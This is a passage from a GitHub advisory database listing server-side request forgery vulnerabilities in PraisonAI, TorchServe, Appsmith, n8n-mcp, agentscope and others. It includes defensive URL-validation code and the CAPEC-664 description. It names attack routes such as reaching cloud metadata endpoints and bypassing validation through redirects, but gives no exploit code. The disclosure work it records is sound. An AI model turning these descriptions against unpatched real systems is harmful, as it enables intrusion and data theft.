ip.is_reserved:\n raise ValueError(\"webhook_url must not point to private/internal addresses\")\n except ValueError as e:\n if \"must not point\" in str(e):\n raise\n # hostname is not an IP \u2014 resolve and check\n pass\n \n return v\n```\n\nAdditionally, in `executor.py`, add DNS resolution validation before making the request to prevent DNS rebinding:\n\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n \n # Validate resolved IP is not private (prevent DNS rebinding)\n from urllib.parse import urlparse\n import socket, ipaddress\n \n parsed = urlparse(job.webhook_url)\n try:\n resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0]\n ip = ipaddress.ip_address(resolved_ip)\n if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n logger.warning(f\"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}\")\n return\n except (socket.gaierror, ValueError):\n logger.warning(f\"Webhook blocked for {job.id}: could not resolve {parsed.hostname}\")\n return\n \n # ... proceed with httpx.AsyncClient.post() ...\n```",
"id": "GHSA-8frj-8q3m-xhgm",
"modified": "2026-04-10T19:28:54Z",
"published": "2026-04-10T19:28:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8frj-8q3m-xhgm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40114"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"
}
GHSA-8FVC-GF7V-RJQG
Vulnerability from github – Published: 2024-08-13 21:31 – Updated: 2024-08-13 21:31A vulnerability has been found in wanglongcn ltcms 1.0.20 and classified as critical. This vulnerability affects the function download of the file /api/test/download of the component API Endpoint. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-7740"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T20:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in wanglongcn ltcms 1.0.20 and classified as critical. This vulnerability affects the function download of the file /api/test/download of the component API Endpoint. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8fvc-gf7v-rjqg",
"modified": "2024-08-13T21:31:56Z",
"published": "2024-08-13T21:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7740"
},
{
"type": "WEB",
"url": "https://github.com/DeepMountains/Mirage/blob/main/CVE14-1.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.274360"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.274360"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.386432"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8FWW-HHQW-438G
Vulnerability from github – Published: 2022-09-13 00:00 – Updated: 2022-09-16 00:00Appsmith v1.7.11 was discovered to allow attackers to execute an authenticated Server-Side Request Forgery (SSRF) via redirecting incoming requests to the AWS internal metadata endpoint.
{
"affected": [],
"aliases": [
"CVE-2022-38298"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-12T22:15:00Z",
"severity": "HIGH"
},
"details": "Appsmith v1.7.11 was discovered to allow attackers to execute an authenticated Server-Side Request Forgery (SSRF) via redirecting incoming requests to the AWS internal metadata endpoint.",
"id": "GHSA-8fww-hhqw-438g",
"modified": "2022-09-16T00:00:39Z",
"published": "2022-09-13T00:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38298"
},
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/pull/15782"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8FXJ-2G9Q-8FJW
Vulnerability from github – Published: 2025-12-10 00:30 – Updated: 2025-12-10 17:18fetch-mcp v1.0.2 and before is vulnerable to Server-Side Request Forgery (SSRF) vulnerability, which allows attackers to bypass private IP validation and access internal network resources.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mcp-fetch-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65513"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-10T17:18:04Z",
"nvd_published_at": "2025-12-09T22:16:15Z",
"severity": "MODERATE"
},
"details": "fetch-mcp v1.0.2 and before is vulnerable to Server-Side Request Forgery (SSRF) vulnerability, which allows attackers to bypass private IP validation and access internal network resources.",
"id": "GHSA-8fxj-2g9q-8fjw",
"modified": "2025-12-10T17:18:04Z",
"published": "2025-12-10T00:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65513"
},
{
"type": "WEB",
"url": "https://github.com/Team-Off-course/MCP-Server-Vuln-Analysis/blob/main/CVE-2025-65513.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/zcaceres/fetch-mcp"
},
{
"type": "WEB",
"url": "https://github.com/zcaceres/fetch-mcp/blob/c662c8ac300f715e414a64766cd95cc9ec60a1b3/src/Fetcher.ts#L20"
},
{
"type": "WEB",
"url": "https://thorn-pheasant-6d8.notion.site/fetch-mcp-2853daf7b44180029ca5d56e03195736"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Fetch MCP Server has a Server-Side Request Forgery (SSRF) vulnerability"
}
GHSA-8FXR-QFR9-P34W
Vulnerability from github – Published: 2023-10-02 20:39 – Updated: 2023-11-01 06:09Impact
Remote Server-Side Request Forgery (SSRF)
Issue: TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1.
Mitigation: The user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged - https://github.com/pytorch/serve/pull/2534. TorchServe release 0.8.2 includes this change.
Patches
TorchServe release 0.8.2 includes fixes to address the previously listed issue:
https://github.com/pytorch/serve/releases/tag/v0.8.2
Tags for upgraded DLC release User can use the following new image tags to pull DLCs that ship with patched TorchServe version 0.8.2: x86 GPU
- v1.9-pt-ec2-2.0.1-inf-gpu-py310
- v1.8-pt-sagemaker-2.0.1-inf-gpu-py310
x86 CPU
- v1.8-pt-ec2-2.0.1-inf-cpu-py310
- v1.7-pt-sagemaker-2.0.1-inf-cpu-py310
Graviton
- v1.7-pt-graviton-ec2-2.0.1-inf-cpu-py310
- v1.5-pt-graviton-sagemaker-2.0.1-inf-cpu-py310
Neuron
- 1.13.1-neuron-py310-sdk2.13.2-ubuntu20.04
- 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04
- 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04
The full DLC image URI details can be found at: https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images
References
https://github.com/pytorch/serve/blob/b3eced56b4d9d5d3b8597aa506a0bcf954d291bc/docs/configuration.md?plain=1#L296 https://github.com/pytorch/serve/pull/2534 https://github.com/pytorch/serve/releases/tag/v0.8.2 https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images
Credit
We would like to thank Oligo Security for responsibly disclosing this issue and working with us on its resolution. If you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting)) or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "torchserve"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43654"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-02T20:39:20Z",
"nvd_published_at": "2023-09-28T23:15:09Z",
"severity": "CRITICAL"
},
"details": "## Impact\n**Remote Server-Side Request Forgery (SSRF)**\n **Issue**: TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions `0.1.0` to `0.8.1`.\n **Mitigation**: The user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the [allowed_urls](https://github.com/pytorch/serve/blob/b3eced56b4d9d5d3b8597aa506a0bcf954d291bc/docs/configuration.md?plain=1#L296) and specifying the model URL to be used. A pull request to warn the user when the default value for `allowed_urls` is used has been merged - https://github.com/pytorch/serve/pull/2534. TorchServe release `0.8.2` includes this change.\n\n## Patches\n\n## TorchServe release 0.8.2 includes fixes to address the previously listed issue:\n\nhttps://github.com/pytorch/serve/releases/tag/v0.8.2\n\n**Tags for upgraded DLC release**\nUser can use the following new image tags to pull DLCs that ship with patched TorchServe version 0.8.2:\nx86 GPU\n\n* v1.9-pt-ec2-2.0.1-inf-gpu-py310\n* v1.8-pt-sagemaker-2.0.1-inf-gpu-py310\n\nx86 CPU\n\n* v1.8-pt-ec2-2.0.1-inf-cpu-py310\n* v1.7-pt-sagemaker-2.0.1-inf-cpu-py310\n\nGraviton\n\n* v1.7-pt-graviton-ec2-2.0.1-inf-cpu-py310\n* v1.5-pt-graviton-sagemaker-2.0.1-inf-cpu-py310\n\nNeuron\n\n* 1.13.1-neuron-py310-sdk2.13.2-ubuntu20.04\n* 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04\n* 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04\n\nThe full DLC image URI details can be found at: https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images\n\n## References\nhttps://github.com/pytorch/serve/blob/b3eced56b4d9d5d3b8597aa506a0bcf954d291bc/docs/configuration.md?plain=1#L296\nhttps://github.com/pytorch/serve/pull/2534\nhttps://github.com/pytorch/serve/releases/tag/v0.8.2\nhttps://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images\n\n## Credit\nWe would like to thank Oligo Security for responsibly disclosing this issue and working with us on its resolution.\nIf you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting[)](https://aws.amazon.com/security/vulnerability-reporting)) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
"id": "GHSA-8fxr-qfr9-p34w",
"modified": "2023-11-01T06:09:57Z",
"published": "2023-10-02T20:39:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43654"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/pull/2534"
},
{
"type": "PACKAGE",
"url": "https://github.com/pytorch/serve"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/releases/tag/v0.8.2"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/175095/PyTorch-Model-Server-Registration-Deserialization-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "TorchServe Server-Side Request Forgery vulnerability"
}
GHSA-8G54-W78W-G2MH
Vulnerability from github – Published: 2022-05-17 00:00 – Updated: 2022-05-26 00:01A remote authenticated server-side request forgery (ssrf) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manage that address this security vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-23668"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-16T21:15:00Z",
"severity": "MODERATE"
},
"details": "A remote authenticated server-side request forgery (ssrf) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manage that address this security vulnerability.",
"id": "GHSA-8g54-w78w-g2mh",
"modified": "2022-05-26T00:01:20Z",
"published": "2022-05-17T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23668"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-007.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8G7G-HMWM-6RV2
Vulnerability from github – Published: 2026-05-08 17:00 – Updated: 2026-05-08 17:00Impact
n8n-mcp versions before 2.50.1 contained three independently-reported issues affecting deployments that run the n8n API integration:
-
Caller-supplied identifiers were not validated before being used as URL path segments by the n8n API client. An authenticated MCP caller passing a crafted workflow id could cause outbound requests carrying the configured n8n API key to land on other same-origin endpoints, bypassing handler-level access controls (including
DISABLED_TOOLS). -
Validated webhook, form, and chat trigger URLs followed redirects. A URL that passed initial validation could redirect the outbound request to a host that would otherwise have been rejected, with the response body returned to the caller. Reachable as non-blind SSRF over authenticated MCP calls.
-
Mutation telemetry stored unredacted operation payloads. On instances running with the default opt-in telemetry, partial-update operation diffs were uploaded without redaction. Operation values can carry the same node-parameter values the workflow contains, including bearer tokens, API keys, and webhook secrets.
Severity
CVSS 8.3 (HIGH). Exploitation requires an authenticated MCP caller and an n8n API integration configured with an n8n API key.
Patched versions
Upgrade to n8n-mcp >= 2.50.1.
Workarounds
- For issues (1) and (2): restrict network access to the HTTP transport (firewall, reverse-proxy ACL, or VPN) so only trusted callers can reach the MCP HTTP port; or switch to stdio mode, which exposes no HTTP surface for these issues.
- For issue (3): set
N8N_MCP_TELEMETRY_DISABLED=truein the environment before starting the server, or runnpx n8n-mcp telemetry disableonce.
Credit
Reported by @cybercraftsolutionsllc.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.50.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T17:00:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\n`n8n-mcp` versions before 2.50.1 contained three independently-reported issues affecting deployments that run the n8n API integration:\n\n1. **Caller-supplied identifiers were not validated before being used as URL path segments** by the n8n API client. An authenticated MCP caller passing a crafted workflow id could cause outbound requests carrying the configured n8n API key to land on other same-origin endpoints, bypassing handler-level access controls (including `DISABLED_TOOLS`).\n\n2. **Validated webhook, form, and chat trigger URLs followed redirects.** A URL that passed initial validation could redirect the outbound request to a host that would otherwise have been rejected, with the response body returned to the caller. Reachable as non-blind SSRF over authenticated MCP calls.\n\n3. **Mutation telemetry stored unredacted operation payloads.** On instances running with the default opt-in telemetry, partial-update operation diffs were uploaded without redaction. Operation values can carry the same node-parameter values the workflow contains, including bearer tokens, API keys, and webhook secrets.\n\n## Severity\n\nCVSS 8.3 (HIGH). Exploitation requires an authenticated MCP caller and an n8n API integration configured with an n8n API key.\n\n## Patched versions\n\nUpgrade to `n8n-mcp \u003e= 2.50.1`.\n\n## Workarounds\n\n- For issues (1) and (2): restrict network access to the HTTP transport (firewall, reverse-proxy ACL, or VPN) so only trusted callers can reach the MCP HTTP port; or switch to stdio mode, which exposes no HTTP surface for these issues.\n- For issue (3): set `N8N_MCP_TELEMETRY_DISABLED=true` in the environment before starting the server, or run `npx n8n-mcp telemetry disable` once.\n\n## Credit\n\nReported by @cybercraftsolutionsllc.",
"id": "GHSA-8g7g-hmwm-6rv2",
"modified": "2026-05-08T17:00:09Z",
"published": "2026-05-08T17:00:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-8g7g-hmwm-6rv2"
},
{
"type": "WEB",
"url": "https://github.com/czlonkowski/n8n-mcp/commit/1cfe9c6bddb4b1634e6e23323c18ea35fd196999"
},
{
"type": "PACKAGE",
"url": "https://github.com/czlonkowski/n8n-mcp"
},
{
"type": "WEB",
"url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.50.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "n8n-mcp affected by path traversal, redirect-following SSRF, and telemetry payload exposure"
}
GHSA-8G9J-3HRR-2HVM
Vulnerability from github – Published: 2026-03-17 06:31 – Updated: 2026-03-17 06:31A weakness has been identified in frdel/agent0ai agent-zero 0.9.7. This affects the function handle_pdf_document of the file python/helpers/document_query.py. This manipulation causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-4308"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-17T04:16:24Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in frdel/agent0ai agent-zero 0.9.7. This affects the function handle_pdf_document of the file python/helpers/document_query.py. This manipulation causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8g9j-3hrr-2hvm",
"modified": "2026-03-17T06:31:32Z",
"published": "2026-03-17T06:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4308"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/c99c44aa019266a72636757308d43989"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/c99c44aa019266a72636757308d43989#poc"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.351338"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.351338"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.773950"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8GGF-R3VM-P3JC
Vulnerability from github – Published: 2026-04-20 06:31 – Updated: 2026-04-28 23:20A security flaw has been discovered in modelscope agentscope up to 1.0.18. This affects the function _get_bytes_from_web_url of the file src/agentscope/_utils/_common.py of the component Internal Service. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "agentscope"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6605"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T23:20:08Z",
"nvd_published_at": "2026-04-20T05:16:15Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in modelscope agentscope up to 1.0.18. This affects the function _get_bytes_from_web_url of the file src/agentscope/_utils/_common.py of the component Internal Service. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8ggf-r3vm-p3jc",
"modified": "2026-04-28T23:20:08Z",
"published": "2026-04-20T06:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6605"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/ced2d438ae79a5a11cea663c1ba2c954"
},
{
"type": "PACKAGE",
"url": "https://github.com/agentscope-ai/agentscope"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/792225"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358240"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358240/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "AgentScope vulnerable to Server-Side Request Forgery"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.